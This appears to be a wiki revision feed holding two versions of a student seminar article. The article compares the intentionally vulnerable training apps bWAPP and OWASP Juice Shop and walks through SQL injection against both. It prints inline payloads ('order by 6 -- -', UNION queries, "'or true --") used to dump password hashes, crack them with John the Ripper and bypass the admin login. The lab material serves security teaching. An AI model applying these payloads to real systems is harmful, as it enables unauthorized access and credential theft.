		<summary type="html">&lt;p&gt;CEberhart: /* vulnerable Webservices */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*buggy web application (bWAPP)&lt;br /&gt;
*damn vulnerable web application (DVWA)&lt;br /&gt;
*OWASP Juice Shop&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5483</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5483"/>
		<updated>2020-12-21T17:25:22Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Web Security Test-Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== vulnerable Webservices ==&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
